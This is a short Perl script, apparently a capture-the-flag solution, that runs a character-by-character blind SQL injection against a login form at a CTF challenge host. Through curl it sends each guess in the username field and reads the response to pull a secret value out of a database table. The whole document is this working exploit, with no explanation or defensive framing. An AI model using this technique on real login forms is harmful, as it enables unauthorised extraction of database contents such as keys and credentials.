#!/usr/bin/perl for ($pos=1;$pos <= 100; $pos++) { for ($letter=32; $letter<=128; $letter++) { $char = chr($letter); $query = "' or (substr((SELECT value FROM keys LIMIT 0,1),$pos,1)='$char') -- "; $get = `curl -s "http://babysfirst.shallweplayaga.me:8041/login" -d "username=$query&password=123"`; if (index($get, "root") != -1) { print "$pos: $char\n"; last; } } } print "\n";